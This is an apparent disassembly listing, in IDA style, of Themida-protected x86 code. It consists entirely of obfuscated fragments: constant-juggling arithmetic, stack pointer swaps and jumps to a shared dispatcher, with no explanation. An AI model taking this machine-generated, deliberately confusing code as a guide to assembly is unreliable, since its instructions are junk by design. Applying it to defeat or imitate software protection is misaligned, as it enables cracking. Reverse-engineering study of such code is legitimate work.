		jmp	loc_598142
; ---------------------------------------------------------------------------


loc_596B09:				; CODE XREF: Themida_:0058E23Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_593483
; ---------------------------------------------------------------------------


loc_596B1E:				; CODE XREF: sub_59196D-5C75j
		push	[esp+28h+var_2A+2]
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	6B34h
		mov	[esp+2Ch+var_2E+2], ebx
		push	esp
		pop	ebx
		jmp	loc_594DBA
; ---------------------------------------------------------------------------


loc_596B39:				; CODE XREF: sub_59196D-2450j
		pop	ebp
		xchg	ebp, esi
		add	esi, 353A0457h
		jl	loc_59247C
		inc	esi
		jge	loc_590B7B
		add	esi, 305D676Ch
		add	esi, 0E0C9FDD5h
		pop	edi


loc_596B5C:				; CODE XREF: sub_59196D+56F3j
		push	ecx
		mov	ecx, 0CCE1144h
		and	edi, ecx
		pop	ecx
		shr	edi, 8
		sub	edi, 0BD808D53h
		and	esi, edi
		pop	edi
		dec	esi
		inc	esi
		jmp	loc_593898
; ---------------------------------------------------------------------------


loc_596B78:				; CODE XREF: sub_59196D+6551j
		mov	cl, 4Fh
		xor	cl, 69h
		mov	bl, cl
		pop	ecx
		add	bl, 76h
		xor	dh, bl
		pop	ebx
		add	bh, dh
		mov	edx, [esp+0]
		add	esp, 4
		add	al, bh
		mov	ebx, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		jmp	loc_593AEC
; ---------------------------------------------------------------------------


loc_596B9B:				; CODE XREF: sub_59196D-439Fj
		push	ebx
		mov	ebx, 2F5A12BCh
		jmp	loc_595D79
; ---------------------------------------------------------------------------


loc_596BA6:				; CODE XREF: sub_59196D-60B4j
		push	65402A68h
		pop	esi
		jmp	loc_5980E4
; ---------------------------------------------------------------------------


loc_596BB1:				; CODE XREF: sub_59196D-187Ej
		pop	edx
		add	ebx, edi
		jmp	loc_58E70B
; ---------------------------------------------------------------------------


loc_596BB9:				; CODE XREF: sub_59196D+490Fj
		sub	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], edi
		mov	edi, 0D5C1AA3h
		add	edi, 61EA116Ah
		sub	edx, edi
		pop	edi
		not	edx
		jmp	loc_5980F0
; ---------------------------------------------------------------------------


loc_596BDB:				; CODE XREF: sub_59196D+32A0j
		and	bl, 65h
		sub	bl, 2Fh
		add	bl, 2Ch
		xor	bl, 0B7h
		jmp	loc_58E809
; ---------------------------------------------------------------------------


loc_596BEC:				; CODE XREF: sub_59196D-5FE3j
		mov	ebx, 0
		jmp	loc_592BB9
; ---------------------------------------------------------------------------


loc_596BF6:				; CODE XREF: sub_59196D+4F6Bj
		push	edx
		mov	dh, 76h
		sub	dh, 24h
		xor	dh, 6Dh
		add	ah, dh
		jmp	loc_594D95
; ---------------------------------------------------------------------------


loc_596C06:				; CODE XREF: sub_59196D+4901j
		push	eax
		not	[esp+24h+var_26+2]
		pop	eax
		dec	eax
		sub	eax, 4E3E43A7h
		jmp	loc_58DD3D
; ---------------------------------------------------------------------------


loc_596C16:				; CODE XREF: sub_59196D:loc_5958AAj
		shl	ebx, 5
		js	loc_597188
		jmp	loc_58BCEE
; ---------------------------------------------------------------------------
		add	ebp, 450F09CAh
		pop	edi
		mov	eax, ebp


loc_596C2D:				; CODE XREF: sub_59196D+39F8j
		add	eax, 1D740610h
		sub	eax, edi
		sub	eax, 1D740610h
		push	esi
		mov	esi, 6F0E7501h
		sub	esi, 9FD093Fh
		add	esi, 7A313264h
		xor	esi, 6B693992h
		jmp	loc_59480E
; ---------------------------------------------------------------------------


loc_596C56:				; CODE XREF: sub_59196D-58F9j
		pop	ebx
		sub	eax, 6AC00378h
		add	eax, ecx
		add	eax, 6AC00378h
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58DDF9
; ---------------------------------------------------------------------------


loc_596C72:				; CODE XREF: sub_59196D+68EDj
		add	edi, edx
		jmp	loc_58D571
; ---------------------------------------------------------------------------


loc_596C79:				; CODE XREF: sub_59196D+638Bj
		add	bh, 90h
		add	ch, 0CBh
		jmp	loc_5949FA
; ---------------------------------------------------------------------------


loc_596C84:				; CODE XREF: sub_59196D+1A5Cj
		push	431Eh
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 58A14F1Dh
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		mov	esi, 8E427BCh
		mov	edx, 4FBD2763h
		add	edx, esi
		pop	esi
		xor	edx, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		xchg	eax, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		idiv	cx
		push	small 0E4Dh
		mov	word ptr [esp+1Ah+var_1A], dx
		push	ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596CC6:				; CODE XREF: sub_59196D+2A47j
		pop	ebx
		mov	ebx, [esp+24h+var_26+2]
		add	esp, 4
		push	ebx
		jmp	loc_58E0FB
; ---------------------------------------------------------------------------


loc_596CD6:				; CODE XREF: sub_59196D-654Bj
		mov	al, 2Ch
		add	bh, al
		pop	eax
		mov	cl, bh
		pop	ebx
		jmp	loc_5961CB
; ---------------------------------------------------------------------------


loc_596CE3:				; CODE XREF: sub_59196D-D21j
		pop	esi
		xchg	edx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		add	bl, 2Dh
		jmp	loc_5903E2
; ---------------------------------------------------------------------------


loc_596CF2:				; CODE XREF: sub_59196D-12C1j
		inc	ecx
		add	ecx, 0B0A6FBFBh
		push	14EAh
		jmp	loc_595FF1
; ---------------------------------------------------------------------------


loc_596D03:				; CODE XREF: sub_59196D-42B2j
					; sub_59196D-76Dj
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		mov	ecx, ebx
		jmp	loc_58D975
; ---------------------------------------------------------------------------


loc_596D13:				; CODE XREF: sub_59196D-2FEFj
		xchg	edx, [esp+24h+var_26+2]
		jmp	loc_5982CF
; ---------------------------------------------------------------------------


loc_596D1B:				; CODE XREF: sub_59196D+3C6Ej
		jmp	loc_5975B6
; ---------------------------------------------------------------------------


loc_596D20:				; CODE XREF: Themida_:0058F06Fj
		and	eax, ebp
		pop	ebp
		neg	eax
		shl	eax, 8
		push	ebx
		jmp	loc_58E2A5
; ---------------------------------------------------------------------------


loc_596D2E:				; CODE XREF: sub_59196D+3F5Fj
		shr	ecx, 0Bh
		sub	esp, 4
		jmp	loc_5938DE
; ---------------------------------------------------------------------------


loc_596D3C:				; CODE XREF: sub_59196D+977j
					; sub_59196D+5571j
		push	ecx
		mov	ecx, 4FD879DEh
		and	ecx, 271200EBh
		not	ecx
		sub	ecx, 14F46AD3h
		shr	ecx, 8
		dec	ecx
		push	ebp
		jmp	loc_5985AB
; ---------------------------------------------------------------------------


loc_596D5A:				; CODE XREF: sub_59196D-1610j
		push	cx
		pushf
		jmp	loc_59752A
; ---------------------------------------------------------------------------


loc_596D62:				; CODE XREF: sub_59196D+5BE8j
		xor	dh, 0A2h
		add	dh, 20h
		and	al, dh
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_58FDB0
; ---------------------------------------------------------------------------


loc_596D75:				; CODE XREF: sub_59196D+138Bj
		mov	eax, esp
		push	5FB3h
		jmp	loc_5933E6
; ---------------------------------------------------------------------------


loc_596D81:				; CODE XREF: sub_59196D+1EE8j
		sub	edx, 54744361h
		dec	edx
		sub	edx, 16C341C7h
		sub	edx, 0F98A1B55h
		mov	ebp, edx
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		shl	ebp, 8
		push	edi
		mov	edi, 569073F7h
		add	edi, 0F591D9BAh
		jmp	loc_594F1A
; ---------------------------------------------------------------------------


loc_596DB0:				; CODE XREF: sub_59196D+16F7j
					; sub_59196D+577Cj
		pop	esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_594021
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	bh, 29h
		add	bh, 0C2h
		jmp	loc_5937E9
; ---------------------------------------------------------------------------


loc_596DD0:				; CODE XREF: sub_59196D-4A67j
		push	eax
		mov	eax, 3BBA3534h
		push	edx
		mov	edx, 511C4641h
		add	edx, 0AEE3B9BEh
		add	eax, edx
		pop	edx
		jmp	loc_59626C
; ---------------------------------------------------------------------------


loc_596DEA:				; CODE XREF: sub_59196D-4C45j
		xor	ecx, 76165A92h
		add	ecx, 0D41F2175h
		jmp	loc_5946B7
; ---------------------------------------------------------------------------


loc_596DFB:				; CODE XREF: sub_59196D-4520j
		jo	loc_593DBD
		jmp	loc_58D9B6
; ---------------------------------------------------------------------------


loc_596E06:				; CODE XREF: sub_59196D+641Dj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+34h+var_36+2]
		jmp	loc_591FED
; ---------------------------------------------------------------------------


loc_596E1A:				; CODE XREF: sub_59196D+449Aj
		pop	edi
		jmp	loc_59422F
; ---------------------------------------------------------------------------


loc_596E20:				; CODE XREF: sub_59196D+1BEBj
		mov	[esp+28h+var_2A+2], edi
		pop	ebx
		pop	edi
		jmp	loc_590CA2
; ---------------------------------------------------------------------------


loc_596E2A:				; CODE XREF: sub_59196D-18B1j
					; sub_59196D-ABEj
		sub	dl, 47h
		jmp	loc_5955CF
; ---------------------------------------------------------------------------


loc_596E32:				; CODE XREF: sub_59196D-3FBCj
		mov	ecx, 0FDCFD857h
		sub	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		dec	word ptr [esp+8+var_8]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596E51:				; CODE XREF: sub_59196D-36DBj
		pop	esi
		pop	[esp+28h+var_2A+2]
		pop	esp
		and	[esp+20h+var_22+2], eax
		pushf
		jmp	loc_58F284
; ---------------------------------------------------------------------------


loc_596E5F:				; CODE XREF: sub_59196D+623Cj
		pop	eax
		add	eax, 4
		push	edi
		push	eax
		mov	eax, 10747255h
		xor	eax, 10747251h
		jmp	loc_5960BB
; ---------------------------------------------------------------------------


loc_596E76:				; CODE XREF: sub_59196D+A95j
		sub	ebx, ebp
		pop	ebp
		pop	edx
		push	ebp
		jmp	loc_592173
; ---------------------------------------------------------------------------


loc_596E80:				; CODE XREF: sub_59196D-5347j
					; sub_59196D+A08j
		not	dl
		jmp	loc_5900BA
; ---------------------------------------------------------------------------


loc_596E87:				; CODE XREF: sub_59196D+279j
		pop	esi
		shr	esi, 5
		jz	loc_58D1D1
		add	esi, 3DC67BABh
		jnb	loc_592F4D
		xor	esi, 2B7B0F78h
		js	loc_58D490
		push	edi


loc_596EAA:				; CODE XREF: sub_59196D+617Cj
		mov	ebp, 2FD326C9h
		push	4B5Dh
		jmp	loc_58D6F8
; ---------------------------------------------------------------------------


loc_596EB9:				; CODE XREF: sub_59196D+38BFj
		push	ebx
		mov	ebx, 0F5DE3D7Bh
		mov	ebp, ebx
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_58F55B
; ---------------------------------------------------------------------------


loc_596EDD:				; CODE XREF: sub_59196D+429Aj
		pop	ebp
		jmp	loc_596D3C
; ---------------------------------------------------------------------------


loc_596EE3:				; DATA XREF: Themida_:0058B0FCo
		xor	byte ptr [esp+18h+var_1A+2], al
		xor	al, byte ptr [esp+18h+var_1A+2]
		xor	byte ptr [esp+18h+var_1A+2], al
		xor	al, dh
		jmp	loc_597E5D
; ---------------------------------------------------------------------------


loc_596EF3:				; CODE XREF: sub_59196D+592Fj
		sub	ecx, 6F0566B3h
		pop	edi
		jmp	loc_592979
; ---------------------------------------------------------------------------


loc_596EFF:				; CODE XREF: sub_59196D-C35j
		add	bl, 66h
		push	eax
		mov	al, 0E6h
		jmp	loc_5932D4
; ---------------------------------------------------------------------------


loc_596F0A:				; CODE XREF: sub_59196D-77Bj
		sub	al, 3Fh
		jmp	loc_5945A3
; ---------------------------------------------------------------------------


loc_596F11:				; CODE XREF: sub_59196D-3429j
		pop	esi
		xor	ebx, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebx
		xor	ebx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	ebx
		push	eax
		push	ebx
		mov	ebx, edi
		push	62F4h
		mov	[esp+28h+var_2A+2], edi
		push	ebx
		mov	edi, [esp+2Ch+var_2E+2]
		jmp	loc_5969AE
; ---------------------------------------------------------------------------


loc_596F3A:				; CODE XREF: sub_59196D+18E4j
		mov	ebx, 6F0B279Fh
		push	esi
		jmp	loc_596281
; ---------------------------------------------------------------------------


loc_596F45:				; CODE XREF: sub_5918E7-19EAj
					; sub_59196D+949j
		pop	[esp+24h+var_26+2]
		jmp	loc_594C5D
; ---------------------------------------------------------------------------


loc_596F4D:				; CODE XREF: sub_59196D-3AF9j
		jns	loc_58D4C7
		push	esi
		push	edx
		mov	edx, 7A2044AFh
		mov	esi, 96B765A4h
		mov	eax, eax
		push	esp


loc_596F62:				; CODE XREF: sub_59196D+1F53j
		push	esp
		jmp	loc_5951C2
; ---------------------------------------------------------------------------


loc_596F68:				; CODE XREF: sub_59196D:loc_594DC5j
		push	edx
		jmp	loc_594616
; ---------------------------------------------------------------------------


loc_596F6E:				; CODE XREF: sub_59196D:loc_58D347j
		neg	eax
		jo	loc_58EEE5
		sub	eax, 6EF96C2Fh
		js	loc_593508
		jmp	loc_5933CE
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	edx, [esp+0]


loc_596F8C:				; CODE XREF: sub_59196D-4686j
		pop	esi
		xchg	ebp, [esp+42h+var_44+2]
		pop	esp
		xchg	ebp, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_5903A3
; ---------------------------------------------------------------------------


loc_596F9C:				; CODE XREF: sub_59196D+5D43j
		push	eax
		mov	eax, 3E374B76h
		neg	eax
		neg	eax
		and	eax, 423306D4h
		neg	eax
		sub	eax, 0CA009568h
		add	edx, 1A7464Ah
		jmp	loc_58B38A
; ---------------------------------------------------------------------------


loc_596FBD:				; CODE XREF: sub_59196D+40DCj
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_58B3CB
; ---------------------------------------------------------------------------


loc_596FCC:				; CODE XREF: sub_59196D-39B3j
		xor	ebx, [esp+32h+var_32]
		pop	esp
		mov	[esp+2Eh+var_2E], eax
		mov	al, 0F0h
		add	al, 85h
		jbe	loc_5975F7
		dec	al
		jnp	loc_593A4C
		dec	al


loc_596FE7:				; CODE XREF: sub_59196D+377Bj
		mov	edx, 2
		sub	esi, 7D757527h
		add	esi, edx
		push	ebp
		mov	ebp, 1813583Eh
		sub	ebp, 6756425Ch
		shl	ebp, 1
		push	esi
		push	edi
		jmp	loc_58B9FF
; ---------------------------------------------------------------------------


loc_597009:				; CODE XREF: sub_59196D+2963j
		pop	esp
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59700F:				; CODE XREF: sub_59196D-4301j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+30h+var_32+2]
		pop	esp
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59701B:				; CODE XREF: sub_59196D+4E97j
		sub	eax, esi
		pop	esi
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597023:				; CODE XREF: sub_59196D-5EFCj
		push	[esp+14h+var_16+2]
		jmp	loc_5940DF
; ---------------------------------------------------------------------------


loc_59702B:				; CODE XREF: sub_59196D+4424j
		xor	edi, 6825AAF5h
		push	edi
		xor	[esp+14h+var_16+2], 3F381384h
		jmp	loc_58F57D
; ---------------------------------------------------------------------------


loc_59703E:				; CODE XREF: sub_59196D+1E61j
		or	edx, 418A6F8Eh
		add	edx, 0F24EE73Bh
		add	[edi+20h], edx
		pop	edx
		jmp	loc_58F587
; ---------------------------------------------------------------------------


loc_597053:				; CODE XREF: sub_59196D+5AA9j
		shr	ecx, 8
		jmp	loc_591FC4
; ---------------------------------------------------------------------------


loc_59705B:				; CODE XREF: sub_59196D+1724j
		mov	edi, 579E2DF5h
		jmp	loc_596B5C
; ---------------------------------------------------------------------------


loc_597065:				; CODE XREF: sub_59196D-15ABj
		mov	ch, dl
		pop	edx
		sub	esp, 4
		mov	[esp+14h+var_16+2], edx
		mov	dh, 0DFh
		sub	dh, 0FFh
		and	dh, 0F5h
		jmp	loc_58F823
; ---------------------------------------------------------------------------


loc_59707B:				; DATA XREF: Themida_:0058B198o
		mov	ax, word ptr [esp+14h+var_16+2]
		push	ecx
		push	295h
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		mov	ecx, [esp+1Ch+var_1E+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5956EE
; ---------------------------------------------------------------------------


loc_59709D:				; CODE XREF: Themida_:00591708j
					; sub_59196D+106Aj
		push	38Fh
		mov	[esp+0], ebp
		jmp	loc_59209A
; ---------------------------------------------------------------------------


loc_5970AA:				; CODE XREF: sub_59196D-64D3j
		xor	ah, 28h
		jo	loc_593C7F
		and	ah, 28h
		not	ah
		sub	ah, 47h
		push	ebx
		jmp	loc_58C8F5
; ---------------------------------------------------------------------------


loc_5970C1:				; CODE XREF: sub_59196D+44Dj
		push	edi
		push	361D27E6h
		pop	edi
		neg	edi
		neg	edi
		jmp	loc_58D13B
; ---------------------------------------------------------------------------


loc_5970D1:				; CODE XREF: sub_59196D+4280j
		mov	esi, esp
		jmp	loc_58D060
; ---------------------------------------------------------------------------


loc_5970D8:				; CODE XREF: sub_59196D+22F6j
		push	edx
		jmp	loc_59814D
; ---------------------------------------------------------------------------


loc_5970DE:				; CODE XREF: sub_59196D-376Fj
		js	loc_595231
		or	eax, 1FF07952h
		jle	loc_596DB0
		jmp	loc_58CD2D
; ---------------------------------------------------------------------------


loc_5970F4:				; CODE XREF: sub_59196D+C3Bj
		or	edx, 63350DB9h
		ja	loc_5955F6
		sub	edx, 6F752D81h
		jmp	loc_58CB21
; ---------------------------------------------------------------------------
		pop	ecx
		mov	al, ah


loc_59710E:				; CODE XREF: sub_59196D+E7j
		add	eax, 4E763204h
		or	edi, eax
		pop	eax
		dec	edi
		shr	edi, 7
		xor	edi, 2E16E14Bh
		add	edx, edi
		pop	edi
		push	dword ptr [edx]
		pop	eax
		pop	edx
		push	dword ptr [edi+eax*4]
		xor	[esp+12h+var_12], 0CC752E5h
		push	[esp+12h+var_12]
		pop	eax
		push	edx
		jmp	loc_593ECA
; ---------------------------------------------------------------------------


loc_59713B:				; CODE XREF: Themida_:0058DCD8j
		push	3039785Fh
		mov	ecx, [esp+1Ah+var_1A]
		push	esi
		jmp	loc_58C47F
; ---------------------------------------------------------------------------


loc_597149:				; CODE XREF: sub_59196D-5C3Ej
		add	bl, ah
		mov	ax, word ptr [esp+2Ah+var_2A]
		add	esp, 2
		sub	bl, al
		jmp	loc_58DCDD
; ---------------------------------------------------------------------------


loc_59715C:				; CODE XREF: sub_59196D+4C29j
		add	esp, 4
		dec	edx
		jmp	loc_597961
; ---------------------------------------------------------------------------


loc_597168:				; CODE XREF: sub_59196D-1428j
		pop	edx
		sub	al, 61h
		jmp	loc_595637
; ---------------------------------------------------------------------------


loc_597170:				; CODE XREF: sub_59196D-2BA5j
		sub	ecx, esi
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ebp
		jmp	loc_595E85
; ---------------------------------------------------------------------------


loc_59717D:				; CODE XREF: sub_59196D:loc_5914D6j
		sub	esi, 0BBCB5B60h
		jmp	loc_58EA3A
; ---------------------------------------------------------------------------


loc_597188:				; CODE XREF: sub_59196D+52ACj
		jmp	loc_59682A
; ---------------------------------------------------------------------------


loc_59718D:				; CODE XREF: sub_59196D-4513j
					; sub_59196D:loc_596495j ...
		add	ebp, 450F09CAh
		pop	edi
		xor	ebp, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], ebp
		xor	ebp, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		shl	[esp+30h+var_32+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5971A9:				; CODE XREF: sub_59196D+1136j
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		push	[esp+0Ah+var_C+2]
		pop	eax
		jmp	loc_596318
; ---------------------------------------------------------------------------


loc_5971BE:				; CODE XREF: sub_59196D+4EB8j
		push	5ABA1924h
		jmp	loc_59726F
; ---------------------------------------------------------------------------


loc_5971C8:				; CODE XREF: sub_59196D+6140j
		or	eax, edx
		pop	edx
		add	eax, 0A4888298h
		mov	edi, eax
		pop	eax
		add	[esp+34h+var_32+2], edi
		mov	edi, [esp+34h+var_36+2]
		jmp	loc_5955B9
; ---------------------------------------------------------------------------


loc_5971DF:				; CODE XREF: sub_59196D+9FFj
		pop	ebp
		add	esi, ebx
		push	[esp+10h+var_12+2]
		pop	ebx
		add	esp, 4
		jmp	loc_58BAE2
; ---------------------------------------------------------------------------


loc_5971EE:				; CODE XREF: sub_59196D+14D9j
		shl	esi, 2
		jmp	loc_59657B
; ---------------------------------------------------------------------------


loc_5971F6:				; CODE XREF: sub_59196D+674Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5969EA
; ---------------------------------------------------------------------------


loc_59720A:				; CODE XREF: sub_59196D+50C7j
		sub	eax, esi
		jmp	loc_58DE0B
; ---------------------------------------------------------------------------


loc_597211:				; CODE XREF: sub_59196D-10BAj
		inc	dl
		dec	dl
		jmp	loc_5903BF
; ---------------------------------------------------------------------------


loc_59721A:				; CODE XREF: sub_59196D+851j
		add	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		pop	esp
		mov	edx, [esp+20h+var_22+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, 73382460h
		add	ebx, ebp
		push	edx
		mov	edx, 73382460h
		sub	ebx, edx
		pop	edx
		jmp	loc_592C38
; ---------------------------------------------------------------------------


loc_59724C:				; CODE XREF: sub_59196D-2F5Ej
					; sub_59196D+4BF2j
		mov	ebx, 200A0239h
		shr	ebx, 8
		push	ecx
		mov	ecx, 6AA58FCh
		add	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		mov	esi, [esp+18h+var_1A+2]
		jmp	loc_5963CD
; ---------------------------------------------------------------------------


loc_597268:				; CODE XREF: sub_59196D-5BA3j
		mov	edx, ebx
		jmp	loc_5937B8
; ---------------------------------------------------------------------------


loc_59726F:				; CODE XREF: sub_59196D+5856j
		pop	eax
		and	eax, 24D67FAh
		xor	eax, 6C3F01DBh
		mov	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		mov	ecx, 361D3242h
		xor	ecx, ebx
		jmp	loc_58C9E2
; ---------------------------------------------------------------------------


loc_59728E:				; CODE XREF: sub_59196D+B5j
		xor	edi, 0CCD3C82Dh
		add	ecx, 6F0566B3h
		sub	ecx, edi
		jmp	loc_596EF3
; ---------------------------------------------------------------------------


loc_5972A1:				; CODE XREF: sub_59196D-1540j
		add	ebx, edx
		pop	edx
		jmp	loc_58B6E0
; ---------------------------------------------------------------------------


loc_5972A9:				; CODE XREF: sub_59196D+5B58j
		mov	word ptr [esp-4+arg_0],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5972B9:				; CODE XREF: sub_59196D-1B26j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_16+2]
		pop	esp
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_58EF98
; ---------------------------------------------------------------------------


loc_5972D7:				; CODE XREF: sub_59196D+1F3Cj
		mov	[esp+4+var_4], ebx
		jmp	loc_58EAAE
; ---------------------------------------------------------------------------


loc_5972DF:				; CODE XREF: sub_58E5BF+1Ej
		mov	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		add	esi, eax
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		jmp	loc_595387
; ---------------------------------------------------------------------------


loc_5972FF:				; CODE XREF: sub_59196D+4821j
		add	al, bl
		jmp	loc_5927C9
; ---------------------------------------------------------------------------


loc_597306:				; CODE XREF: sub_59196D-4D92j
		mov	ebx, 3EAE70F0h
		add	esi, 107873ABh
		sub	esi, ebx
		sub	esi, 107873ABh
		mov	ebx, [esp+30h+var_32+2]
		add	esp, 4
		sub	esi, 25410BC6h
		add	esi, ebp
		add	esi, 25410BC6h
		push	eax
		mov	eax, 710637EFh
		add	eax, 0CDA83901h
		add	esi, eax
		pop	eax
		push	[esp+2Ch+var_2E+2]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], edi
		xor	edi, [esp+30h+var_32+2]
		pop	esp
		jmp	loc_58BCEE
; ---------------------------------------------------------------------------


loc_59735D:				; CODE XREF: sub_59196D:loc_58C2B0j
		xor	eax, 1B6985h
		xor	ecx, eax
		push	[esp+18h+var_1A+2]
		jmp	loc_59420B
; ---------------------------------------------------------------------------


loc_59736C:				; CODE XREF: sub_59196D+51Cj
		pop	edx
		jmp	loc_58C947
; ---------------------------------------------------------------------------


loc_597372:				; CODE XREF: sub_59196D+5AE2j
		and	dh, 2Bh
		ja	loc_5946EB
		xor	dh, 0C4h
		mov	bl, dh
		jmp	loc_5979A9
; ---------------------------------------------------------------------------


loc_597385:				; CODE XREF: sub_59196D-40FAj
		add	ecx, 4
		xchg	ecx, [esp+4Eh+var_4E]
		pop	esp
		push	edi
		mov	edi, 0B0D3B22h
		add	edi, 0F4F2C4E2h
		add	ebp, edi
		jmp	loc_58D552
; ---------------------------------------------------------------------------


loc_59739F:				; DATA XREF: Themida_:0058B108o
		mov	ax, word ptr [esp+4Eh+var_4E]
		push	edi
		push	523Dh
		mov	[esp+0], esp
		jmp	loc_595C9C
; ---------------------------------------------------------------------------


loc_5973B1:				; CODE XREF: sub_59196D+FE7j
		inc	ecx
		jmp	loc_58D243
; ---------------------------------------------------------------------------


loc_5973B7:				; CODE XREF: sub_59196D+42FAj
		sub	eax, 132A438Dh
		add	eax, ebp
		add	eax, 132A438Dh
		jmp	loc_58DB57
; ---------------------------------------------------------------------------


loc_5973C8:				; CODE XREF: sub_59196D+312Fj
		xor	edx, 54EA4BE0h
		inc	edx
		add	edx, 100A3438h
		jmp	loc_597AB2
; ---------------------------------------------------------------------------


loc_5973DA:				; CODE XREF: sub_59196D-140Ej
		xor	ebp, [esp+2Ah+var_2A]
		jmp	loc_58B998
; ---------------------------------------------------------------------------


loc_5973E2:				; CODE XREF: sub_59196D-FDEj
		neg	ebp
		sub	ebp, 0EA2D24CCh
		jmp	loc_58D484
; ---------------------------------------------------------------------------
		shl	ecx, 2
		and	ecx, 6BC70545h
		push	ebp
		jmp	loc_58EBD2
; ---------------------------------------------------------------------------


loc_5973FE:				; CODE XREF: sub_59196D+ADAj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_597403:				; CODE XREF: sub_59196D+25Dj
		add	esp, 4
		push	4CDEh
		jmp	loc_58F9B8
; ---------------------------------------------------------------------------


loc_597413:				; CODE XREF: sub_59196D-1BEj
		shr	ecx, 6
		jmp	loc_597053
; ---------------------------------------------------------------------------


loc_59741B:				; CODE XREF: sub_59196D-4DBFj
		mov	[esp+30h+var_32+2], esi
		push	eax
		jmp	loc_58F6E1
; ---------------------------------------------------------------------------


loc_597424:				; CODE XREF: sub_59196D+5E23j
		push	775545F9h
		pop	ebx
		shr	ebx, 3
		jmp	loc_58F7FE
; ---------------------------------------------------------------------------


loc_597432:				; CODE XREF: sub_59196D-93j
		add	ebp, 30F717B4h
		push	eax
		mov	eax, 0E8CD1DC3h
		add	ebp, eax
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		xor	eax, ebp
		jmp	loc_58E1FB
; ---------------------------------------------------------------------------


loc_59744D:				; CODE XREF: sub_59196D:loc_58C28Ej
		inc	dh
		jle	loc_597372
		and	dh, 2Bh
		ja	loc_59361E
		xor	dh, 0C4h
		mov	bl, dh
		mov	edx, [esp+10h+var_12+2]
		add	esp, 4
		push	eax
		mov	al, bl
		mov	dl, al
		mov	eax, [esp+10h+var_12+2]
		push	esi
		mov	esi, esp
		jmp	loc_595E6E
; ---------------------------------------------------------------------------


loc_597479:				; CODE XREF: sub_59196D-1A4j
		xor	esi, 461B7A95h
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		pop	ebp
		push	edx
		push	ecx
		mov	ecx, 348E5585h
		sub	[esp+8+var_4], ecx
		pop	ecx
		pop	ecx
		push	esi
		mov	esi, 348E5585h
		add	ecx, esi
		jmp	loc_58B8A0
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_59859A
; ---------------------------------------------------------------------------


loc_5974A8:				; CODE XREF: sub_59196D-21E7j
		sub	esi, 4
		xor	esi, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], esi
		xor	esi, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], edi
		jmp	loc_58B92D
; ---------------------------------------------------------------------------


loc_5974BD:				; CODE XREF: sub_59196D-2DBj
		movzx	cx, ah
		push	small 2F04h
		jmp	loc_5972A9
